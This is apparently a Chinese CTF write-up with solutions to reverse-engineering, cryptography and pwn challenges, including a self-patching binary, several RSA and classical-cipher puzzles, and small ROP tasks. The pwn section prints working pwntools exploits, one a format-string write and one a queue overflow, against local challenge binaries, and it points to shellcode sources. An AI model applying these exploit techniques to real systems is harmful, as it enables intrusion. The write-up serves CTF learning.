unsigned int ks[6]={0x8c2c133a,0xf74cb3f6,0xfedfa6f2,0xab293e3b,0x26cf8a2a,0x88a1f279};
void decode()
{
unsigned int k=0,bk=0;
for(int i=5;i>=0;i--)
if(i>0)
ks[i]^=ks[i-1];
for(int i=0;i<24;i+=4)
{
k=ks[i/4];
k=(1<<key[i/4])^k;
k=((k>>16)) | ((~(k<<16))&0xffff0000);
k=((k<<key[i/4])) | (k>>(32-key[i/4]));
printf("%X\n",k);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
解密出六个int,直接转ascii就是flag
# Virtual Tree
这道题静态分析完全就是错的,因为我在main函数运行前会将一些函数给替换掉 所以静态分析完全失败的,但是似乎大部分人都是动调2333
int replace() //开局替换函数代码,
{
void *addr=doit;
int val=(int)addr;
DWORD old;
if(VirtualProtect(addr,512,PAGE_EXECUTE_READWRITE,&old)==NULL)
exit(0);
int count=0;
while(*((PBYTE)val)!=0x90)
{
if(*((PDWORD)val)==0x00401510)
*((PDWORD)val)=(DWORD)list[count++]; //将一个全是同一个call的函数替换成不一样的函数
val=val+1;
}
addr=main;
val=(int)addr;
if(VirtualProtect(addr,512,PAGE_EXECUTE_READWRITE,&old)==NULL)
exit(0);
while(*((PBYTE)val)!=0x90)
{
if(*((PDWORD)val)==(DWORD)walkB)
{
*((PDWORD)val)=(DWORD)walkA; //加密代码的替换
break;
}
val=val+1;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
所以,需要动调来看代码,代码才是对的。。
int sub_12F16F0() //具体操作就是这些加减 异或
{
Add(0, 10);
Xor(1, 2);
Add(2, 7);
Sub_abs(3, 7);
Xor(4, 5);
Sub_abs(6, 1);
Add(7, 3);
Xor(8, 7);
Sub_abs(9, 8);
Sub_abs(10, 7);
Xor(11, 12);
Sub_abs(12, 2);
Xor(14, 15);
return Add(15, 2);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
还有一个函数对输入进行了异或,dump出来就是了。。 所以只需要将数据按照sub_12F16F0()解方程之后,在异或dump出来的数据就可以得到flag了 @_7r3e_f0r_fuNN!
# Crypto
# keyboard
其实就是手机键盘 每行代表当个数字键盘上的字母摁一次就是第一个 以此类推。
# 天干地支+甲子
查找到天干地支图,发现每个都对应着数字,然后甲子是60,把每个都加上 60后用ascii码转下就可以了
# babyRSA
这题本身除了RSA考点外,还考察了模平方算法,那个Q如果硬怼是怼不出来的,必须模平方,至于模平方算法代码网上蛮多,我这就不贴了
# easy_RSA
比较典型的RSA套娃,分别求出p,q,利用题干中的一些函数即可求解, p:已知$\phi(n)=(p-1)(q-1)$, $n=pq$,利用z3的solve容易求解 q:已知$ed, n=pq$,可知$ed=k(p-1)(q-1)+1$, 又由于$\frac{ed-1}{n} \leq k \leq \frac{ed-1}{2n}$ 利用这个区间,循环solve即可,exp如下:
import sympy
from gmpy2 import invert
from Crypto.Util.number import getPrime, long_to_bytes
from z3 import *
base = 65537
def gen_prime(N):
while 1:
A = getPrime(N)
if A % 4 == 3:
break
return A
def GET_P(n, F_n):
p = Int('p')
q = Int('q')
expr = And(F_n == (p - 1) * (q - 1), n == p * q, p > 0, q > 0)
solver = Solver()
solver.add(expr)
if solver.check() == sat:
print(solver.model())
print(solver.model().eval(p))
print(print(solver.model().eval(q)))
res_p = solver.model().eval(q).as_long()
res_q = solver.model().eval(p).as_long()
seed2 = 2021 * res_p + 2020 * res_q
if seed2 < 0:
seed2 = (-1) * seed2
return sympy.nextprime(seed2)
def GET_Q(n, E_D ,judge):
p = Int('p')
q = Int('q')
for k in range(judge, judge*2):
expr = And(E_D - 1 == k * (p - 1) * (q - 1), n == p * q, p > 0, q > 0)
solver = Solver()
solver.add(expr)
if solver.check() == sat:
print(solver.model())
print(solver.model().eval(p))
print(print(solver.model().eval(q)))
res_p = solver.model().eval(q).as_long()
res_q = solver.model().eval(p).as_long()
break
seed2 = 2021 * res_p - 2020 * res_q
if seed2 < 0:
seed2 = (-1) * seed2
return sympy.nextprime(seed2)
P_n = 14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024336556028267742021320891681762543660468484018686865891073110757394154024833552558863671537491089957038648328973790692356014778420333896705595252711514117478072828880198506187667924020260600124717243067420876363980538994101929437978668709128652587073901337310278665778299513763593234951137512120572797739181693
P_F_n = 14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024099427363967321110127562039879018616082926935567951378185280882426903064598376668106616694623540074057210432790309571018778281723710994930151635857933293394780142192586806292968028305922173313521186946635709194350912242693822450297748434301924950358561859804256788098033426537956252964976682327991427626735740
Q_n = 20714298338160449749545360743688018842877274054540852096459485283936802341271363766157976112525034004319938054034934880860956966585051684483662535780621673316774842614701726445870630109196016676725183412879870463432277629916669130494040403733295593655306104176367902352484367520262917943100467697540593925707162162616635533550262718808746254599456286578409187895171015796991910123804529825519519278388910483133813330902530160448972926096083990208243274548561238253002789474920730760001104048093295680593033327818821255300893423412192265814418546134015557579236219461780344469127987669565138930308525189944897421753947
Q_E_D = 100772079222298134586116156850742817855408127716962891929259868746672572602333918958075582671752493618259518286336122772703330183037221105058298653490794337885098499073583821832532798309513538383175233429533467348390389323225198805294950484802068148590902907221150968539067980432831310376368202773212266320112670699737501054831646286585142281419237572222713975646843555024731855688573834108711874406149540078253774349708158063055754932812675786123700768288048445326199880983717504538825498103789304873682191053050366806825802602658674268440844577955499368404019114913934477160428428662847012289516655310680119638600315228284298935201
Ciphertext = 40855937355228438525361161524441274634175356845950884889338630813182607485910094677909779126550263304194796000904384775495000943424070396334435810126536165332565417336797036611773382728344687175253081047586602838685027428292621557914514629024324794275772522013126464926990620140406412999485728750385876868115091735425577555027394033416643032644774339644654011686716639760512353355719065795222201167219831780961308225780478482467294410828543488412258764446494815238766185728454416691898859462532083437213793104823759147317613637881419787581920745151430394526712790608442960106537539121880514269830696341737507717448946962021
if __name__ == "__main__":
judge = int(Q_E_D / Q_n) - 1
_E = base
P = GET_P(P_n, P_F_n)
Q = GET_Q(Q_n, Q_E_D, judge)
_D = invert(_E, (P-1)*(Q-1))
M = pow(Ciphertext, _D, P*Q)
flag = long_to_bytes(M)
print(flag)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# real_random
利用了线性同余来构造伪随机,观察发现b,c,m满足最大周期条件,故知每次以flag[t]为种子生成的随机数列的周期均为m,通过泄露的(p-1)*(q-1)可以算出m,然后减去$2^d$(记得取模)即可求解
# 古典密码知多少
猪圈密码,圣堂武士密码,标准银河字母,且已提示都为大写字母
解密可得 FGCPFLIRTUASYON
, 图片里也提示fence
,故尝试栅栏密码
每组字数为3时即可解得flag:MRCTF{CRYPTOFUN}
# PWN
# nothing_but_everything
本身是简单的ROP,但是我静态编译了一下后,去了符号,所以如果想看的比较轻松,需要去找找Ubuntu下的sig文件然后ida里导入,就可以复现不少函数的样子了,或者可以结合动调,总之看懂题就很简单了,直接ROPgadget一把梭。
# easy_equation
(下面说的都没用,这题忘关溢出了,直接溢出就行 很明显的格式化字符漏洞,但是在利用上需要一些技巧,首先是看到那个公式,用z3的solve很好算出来解是2,之后思路就很明确,将judge的值覆写成2即可,如果直接想要直接用fmstr_payload这种payload自动生成,会惊喜的发现,无法靠填充字符达到地址对齐,所以需要转换一下思路,考虑到地址的小端序存储, 如果在judge_addr-1的位置存入0x200,那么judge_addr的值自然会变成0x02,于是exp(不是唯一解法,也可以正向构造)如下:
from pwn import *
p = process('easy_equation')
judge_addr = 0x60105C
payload = 'a' * 6 + '%' + str(0x200 - 6) + 'c%10$hn'
payload += p64(judge_addr - 1)
p.sendline(payload)
p.interactive()
2
3
4
5
6
7
8
9
# spfa
有一个明显的get_flag函数,发现执行该函数的条件是flag!=-1,但是程序开头已经将flag赋值为-1,并且程序内并没有涉及flag的运算,于是考虑通过溢出修改flag。 查看一下bss段可以发现,flag变量在qu数组下方,相当于qu[1000],在SPFA函数里理论可以访问并修改qu[1000],于是需要构建特殊的图来使队列(qu数组)越界。 仔细分析可以知道,SPFA算法存在一处判断错误(if(d[y] >= d[x] + len[node])),这使得如果路径中出现0环会发生死循环,节点不断入队,最后使队列溢出。 所以,我们所做的,只需要构造一个0环,然后求最短路。 exp:
from pwn import *
p = process("./spfa")
def add(a, b, c):
p.sendlineafter(":\n", str(1))
p.sendlineafter(":\n", str(a) + " " + str(b) + " " + str(c))
def query(a, b):
p.sendlineafter(":\n", str(2))
p.sendlineafter(":\n", str(a) + " " + str(b))
def get_flag():
p.sendlineafter(":\n", str(3))
add(1, 2, 0)
add(2, 1, 0)
query(1, 2)
get_flag()
p.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Shellcode
主要想考察Googlehack能力
没啥好说的 直接去 http://shell-storm.org/shellcode/ 扒个x64 shellcode下来就可以了
# Shellcode Revenge
主要想考察Googlehack能力
ida可以分析出提交的Shellcode要满足全为大小写和数字的限制
可以参考这篇文章
https://hama.hatenadiary.jp/entry/2017/04/04/190129